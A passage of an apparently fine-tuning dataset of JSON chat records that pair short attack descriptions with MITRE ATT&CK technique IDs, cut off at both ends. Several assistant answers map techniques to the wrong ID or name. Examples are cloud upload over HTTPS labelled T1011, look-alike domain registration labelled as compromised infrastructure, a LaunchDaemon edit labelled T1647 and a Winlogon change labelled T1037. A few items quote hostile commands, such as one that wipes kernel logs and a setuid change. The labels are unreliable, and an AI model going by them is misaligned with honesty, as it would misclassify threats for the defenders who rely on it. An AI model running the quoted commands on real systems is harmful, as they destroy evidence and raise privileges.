                "role": "user",
                "content": "An attacker injects malicious code into a trusted news site, causing browsers to automatically download and run a cryptominer when users view the article."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a misconfigured cloud service to establish an external remote services channel."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised AWS EC2 instance, the adversary runs a mining operation to generate illicit profits."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder exploits a privileged service to register a new domain user account for future access."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a zero‑day vulnerability in the target's SMB service to run a payload on the remote system without authentication."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable version of runc to perform a container breakout, allowing code execution on the underlying host machine."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT29 used a tool to purge all evidence of their backdoor by deleting scheduled jobs and clearing PowerShell profile modifications."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a weak admin password, the group changes the site’s banner image to a propaganda logo."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deploy a malicious Kubernetes CronJob that runs a container pulling a payload from a remote server every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes an encrypted command‑and‑control channel using RSA public‑key encryption to exchange commands."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits Memcached servers through UDP amplification, sending a small request that triggers a massive reply to the victim, causing network downtime."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy piece of software starts the Control Panel's 'sysdm.cpl' to trigger the execution of an embedded malicious module."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion applies a reversible data transformation, converting binary data to a hex representation for transfer."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs a network sweep using Nmap's -sn option to identify live hosts on the subnet."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage MSBuild's /t:Build target to execute arbitrary commands hidden in an XML project file, achieving code execution without using native binaries."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leveraged the \"kubectl exec\" command to execute a script that harvested secret keys from a pod."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion creates a standard local user without administrative rights."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a zero‑day vulnerability in a system library to gain code execution and avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary establishes an SSH tunnel from a compromised internal host to an external command‑and‑control server, allowing traffic to bypass the organization’s firewall."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a workstation, the attacker pulls a Kerberos TGT and then uses it to request service tickets for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obfuscation is achieved by wrapping the malicious code in a packed container that unpacks at execution time."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs sc stop \"Spooler\" to disrupt printing services."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uploads stolen data to an external cloud storage service via an encrypted HTTPS connection to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware harvests Chrome's stored client certificates, then uses them to bypass multifactor authentication on corporate portals."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised a service account and executed PowerShell cmdlets to remove all mail items from the Exchange server for the targeted user."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a Python script to parse log files, extract credentials, and upload them to a remote FTP server."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the DCSync technique, the attacker performed a replication request to pull password hashes for high-value accounts."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker employs the sysinternals tool Listdlls to enumerate loaded driver modules."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create a new local account and then use it as a valid login to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses PowerShell to convert data to UTF‑16LE and then encodes it for outbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was disguised as 'chrome.exe' and dropped into the user's startup folder to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder registers a new phishing email address and uses it to register accounts on the target's cloud SaaS platforms."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python-based backdoor calls the API \"platform.uname()\" to collect architecture, processor, and OS details from the infected system."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script creates a staging area on the victim’s file system to hold collected emails before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By corrupting the firmware of the dedicated encryption chip, the adversary forces the system to rely on default software keys."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan’s DGA produces domain names that embed encoded strings of the victim’s IP address."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan constructs domain names by concatenating encoded payload identifiers and resolves them via DNS to fetch further instructions."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employed the organization's CI/CD pipeline artifact upload process to push a malicious binary into the production environment."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged the 'dd' command on Linux to write zeros to the entire disk, erasing all existing data."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage group uses a dynamic DNS resolution technique where the malware computes domain names based on the OS version, then resolves them to find its controller."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware runs \"docker system df\" to gather information about disk usage and storage allocated to containers."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exfiltrates data by embedding it in image files uploaded to a public image hosting site, which also provides command updates."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker altered several Group Policy Objects on the domain controller to add a scheduled task that runs a malicious script at startup."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages Outlook's rule engine to trigger a malicious macro attached to incoming messages, enabling persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor accesses an employee's Microsoft Teams chat history to locate shared passwords and API keys."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker utilizes the macOS command 'airport -s' to list available Wi‑Fi networks, including channel and encryption type, for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent malicious Outlook add‑in is registered in the registry to load each time the mail client starts."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor replaces the service file of network-manager.service to execute a payload."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse Regasm.exe to load a malicious assembly into memory, then invoke it to perform lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits an unpatched Apache server to host malicious phishing pages and gain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate data by manipulating DNS TXT records to store encrypted chunks of stolen information."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes creating a domain account with a weak password and assigning it to the \"Backup Operators\" group."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script uses WMI to list all hardware peripherals attached to the target machine."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages public WHOIS data to confirm the registrant’s contact email for the victim’s domain."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the cryptographic signing DLL used by the SIP service, allowing forged signatures to be accepted."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a misconfiguration in the email server to force the use of STARTTLS with an older version of the protocol, reducing the security of email transmissions."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts logs and posts them to a custom HTTP webhook hosted on an attacker’s cloud service for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a memory scraping tool to capture credentials from the securityd daemon's RAM on macOS."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code injects into the kernel and corrupts the KernelCallbackTable to redirect execution flow to attacker-controlled code."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates all domain user accounts by issuing the 'net user /domain' command on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromises a code signing certificate and signs malicious updates for a popular application, causing users to trust the payload."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software sends exfiltrated data using DNS TXT record queries to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects a malicious payload by editing the LaunchDaemons plist at /Library/LaunchDaemons/com.malicious.daemon.plist, ensuring execution at boot."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker provisions storage buckets in an obscure geographic region of the cloud provider that the organization does not normally use."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor is installed by editing the userinit.exe string in the Winlogon registry key to launch malicious code after user logon."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploit trust in signed binaries by obtaining a code signing certificate under false pretenses and using it to sign malicious software"
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group leverages stolen API keys to call the cloud provider's terminate instance endpoint, wiping out workloads."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors restrict the volume of data per transfer to slip past network security monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool uses PowerShell to record video from the built‑in webcam for espionage purposes."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates the internal disk image with a hidden payload, ensuring the malicious code loads every time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a low‑level keylogger that hooks the Windows input subsystem, recording user passwords and chat messages before exfiltrating the data over HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing kit retrieves its payload from a domain that resolves to multiple IP addresses that turnover frequently, indicating fast‑flux DNS."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor runs \"cat /dev/null > /var/log/kern.log\" on a compromised server to wipe kernel logs."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a look‑alike domain that mimics the victim's brand to host phishing pages."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerable service to execute \"chmod u+s /bin/ping\", granting the binary elevated privileges and enabling privilege escalation on a macOS endpoint."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and macOS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire exploit modules for privilege escalation to boost their capability set."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor modifies a shared configuration file to include a command that runs with elevated privileges on each system."
            },
            {
